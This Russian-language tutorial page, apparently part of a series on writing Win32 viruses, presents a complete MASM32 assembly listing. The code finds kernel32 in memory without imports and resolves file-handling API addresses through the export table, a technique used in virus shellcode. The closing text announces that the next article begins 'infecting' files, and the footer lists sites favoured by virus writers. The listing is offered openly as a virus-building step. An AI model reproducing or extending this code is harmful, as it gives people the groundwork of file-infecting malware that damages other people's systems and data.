| Welcome to The Passion Of Code Laboratory!!! | Статьи |
"Win32-вирусы" |
|
.386 .MODEL flat,stdcall OPTION CASEMAP : NONE include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib GetProcAddr PROTO :DWORD,:LPSTR MIN_KERNEL_SEARCH_BASE EQU 070000000h MAX_API_STRING_LENGTH EQU 150 .CONST szError DB "Ошибка",0 szGetBaseErr DB "Ошибка в получении адреса kernel.dll",0 szCap DB ":) ",0 .DATA szFormat_GlobalAlloc DB "GlobalAlloc: 0x%08lX",13,10,0 szFormat_GlobalFree DB "GlobalFree: 0x%08lX",13,10,0 szFormat_ReadFile DB "ReadFile: 0x%08lX",13,10,0 szFormat_WriteFile DB "WriteFile: 0x%08lX",13,10,0 szFormat_GetFileSize DB "GetFileSize: 0x%08lX",13,10,0 szFormat_CreateFile DB "CreateFile: 0x%08lX",13,10,0 szFormat_CloseHandle DB "CloseHandle: 0x%08lX",13,10,0 szFormat_SetFilePointer DB "SetFilePointer: 0x%08lX",13,10,0 szFormat_FindFirstFile DB "FindFirstFile: 0x%08lX",13,10,0 szFormat_FindNextFile DB "FindNextFile: 0x%08lX",13,10,0 szFormat_FindClose DB "FindClose: 0x%08lX",13,10,0 szFormat_ExitProcess DB "ExitProcess: 0x%08lX",13,10,0 cBuff DB 120 DUP (0) ;------------------------------------------------------------------------------------------------ .CODE Main: PUSH [ESP] CALL GetKernelBase OR EAX, EAX JZ OEPJump MOV dwKernelBase, EAX CALL GetApiAddresses OEPJump: CALL _ExitProcess ; RET ;------------------------------------------------------------------------------------------------ GetKernelBase PROC USES EDI ESI, dwTopStack : DWORD MOV EDI, dwTopStack AND EDI, 0FFFF0000h .WHILE TRUE .IF WORD PTR [EDI] == IMAGE_DOS_SIGNATURE MOV ESI, EDI ADD ESI, [ESI+03Ch] .IF DWORD PTR [ESI] == IMAGE_NT_SIGNATURE .BREAK .ENDIF .ENDIF ExceptCont: SUB EDI, 010000h .IF EDI < MIN_KERNEL_SEARCH_BASE MOV EDI, 0BFF70000h .BREAK .ENDIF .ENDW XCHG EAX, EDI RET GetKernelBase ENDP ;------------------------------------------------------------------------------------------------ GetApiAddresses: ;-> GlobalAlloc MOV EDI, dwKernelBase LEA EAX, OFFSET szGlobalAlloc CALL DoGetProcAddr MOV _GlobalAlloc, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_GlobalAlloc,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> GlobalFree MOV EDI, dwKernelBase LEA EAX, OFFSET szGlobalFree CALL DoGetProcAddr MOV _GlobalFree, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_GlobalFree,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> ReadFile MOV EDI, dwKernelBase LEA EAX, OFFSET szReadFile CALL DoGetProcAddr MOV _ReadFile, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_ReadFile,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> WriteFile MOV EDI, dwKernelBase LEA EAX, OFFSET szWriteFile CALL DoGetProcAddr MOV _WriteFile, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_WriteFile,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> GetFileSize MOV EDI, dwKernelBase LEA EAX, OFFSET szGetFileSize CALL DoGetProcAddr MOV _GetFileSize, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_GetFileSize,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> CreateFile MOV EDI, dwKernelBase LEA EAX, OFFSET szCreateFile CALL DoGetProcAddr MOV _CreateFile, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_CreateFile,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> CloseHandle MOV EDI, dwKernelBase LEA EAX, OFFSET szCloseHandle CALL DoGetProcAddr MOV _CloseHandle, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_CloseHandle,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> SetFilePointer MOV EDI, dwKernelBase LEA EAX, OFFSET szSetFilePointer CALL DoGetProcAddr MOV _SetFilePointer, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_SetFilePointer,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> FindFirstFile MOV EDI, dwKernelBase LEA EAX, OFFSET szFindFirstFile CALL DoGetProcAddr MOV _FindFirstFile, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_FindFirstFile,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> FindNextFile MOV EDI, dwKernelBase LEA EAX, OFFSET szFindNextFile CALL DoGetProcAddr MOV _FindNextFile, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_FindNextFile,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> FindClose MOV EDI, dwKernelBase LEA EAX, OFFSET szFindClose CALL DoGetProcAddr MOV _FindClose, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_FindClose,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL ;-> _ExitProcess MOV EDI, dwKernelBase LEA EAX, OFFSET szExitProcess CALL DoGetProcAddr MOV _ExitProcess, EAX INVOKE wsprintf,OFFSET cBuff,OFFSET szFormat_ExitProcess,EAX INVOKE MessageBox,0,OFFSET cBuff,OFFSET szCap,MB_ICONINFORMATION OR MB_SYSTEMMODAL XOR EAX, EAX GetApiError: RET ;------------------------------------------------------------------------------------------------ DoGetProcAddr: invoke GetProcAddr,EDI,EAX RET ;------------------------------------------------------------------------------------------------ GetProcAddr PROC USES ESI EDI ECX EBX EDX, dwDllBase : DWORD, szApi : LPSTR MOV ESI, dwDllBase CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE JNZ @@BadExit ADD ESI, [ESI+03Ch] CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE JNZ @@BadExit MOV EDI, szApi MOV ECX, MAX_API_STRING_LENGTH XOR AL, AL REPNZ SCASB MOV ECX, EDI SUB ECX, szApi MOV EDX, [ESI+078h] ADD EDX, dwDllBase ASSUME EDX : PTR IMAGE_EXPORT_DIRECTORY MOV EBX, [EDX].AddressOfNames ADD EBX, dwDllBase XOR EAX, EAX .REPEAT MOV EDI, [EBX] ADD EDI, dwDllBase MOV ESI, szApi PUSH ECX REPZ CMPSB .IF ZERO? .BREAK .ENDIF POP ECX ADD EBX, 4 INC EAX .UNTIL EAX == [EDX].NumberOfNames MOV ESI, [EDX].AddressOfNameOrdinals ADD ESI, dwDllBase PUSH EDX MOV EBX, 2 XOR EDX, EDX MUL EBX ADD EAX, ESI XOR ECX, ECX MOV WORD PTR CX, [EAX] POP EDX MOV EDI, [EDX].AddressOfFunctions XOR EDX, EDX MOV EBX, 4 MOV EAX, ECX MUL EBX ADD EAX, dwDllBase ADD EAX, EDI MOV EAX, [EAX] ADD EAX, dwDllBase JMP @@ExitProc ASSUME EDX : NOTHING @@BadExit: XOR EAX, EAX @@ExitProc: RET GetProcAddr ENDP ;------------------------------------------------------------------------------------------------ szGlobalAlloc DB "GlobalAlloc",0 szGlobalFree DB "GlobalFree",0 szReadFile DB "ReadFile",0 szWriteFile DB "WriteFile",0 szGetFileSize DB "GetFileSize",0 szCreateFile DB "CreateFileA",0 szCloseHandle DB "CloseHandle",0 szSetFilePointer DB "SetFilePointer",0 szFindFirstFile DB "FindFirstFileA",0 szFindNextFile DB "FindNextFileA",0 szFindClose DB "FindClose",0 szExitProcess DB "ExitProcess",0 ;------------------------------------------------------------------------------------------------ dwKernelBase DD 0 _GlobalAlloc DD 0 _GlobalFree DD 0 _ReadFile DD 0 _WriteFile DD 0 _GetFileSize DD 0 _CreateFile DD 0 _CloseHandle DD 0 _SetFilePointer DD 0 _FindFirstFile DD 0 _FindNextFile DD 0 _FindClose DD 0 _ExitProcess DD 0 ;------------------------------------------------------------------------------------------------ end Main |
Мы видим что задача заключается в простом добавлении пунктов
в процедуру GetApiAddresses .Синим я отметил новые вставки. Остальное аналогично
со статьей 2. Ну и для работы этих пунктов необходимо прописать имена функций и
зарезервировать место под их адреса. В следующей статье предпримем первую
попытку "заражать". Все! До свиданья :)
Исходник
[C] _follower / TPOC
Новые события из жизни нашей лаборатории
Статьи и переводы лаборатории TPOC
Программы лаборатории TPOC
Здесь мы сообщаем Вам, какие творения скоро появятся
Ссылки на сайты, где можно найти больше информации
История нашей лаборатории и ее члены
| У вас есть предложения по нашему сайту? Напишите сюда | Любимые сайты вирмейкеров: (WASM) (RSDN) |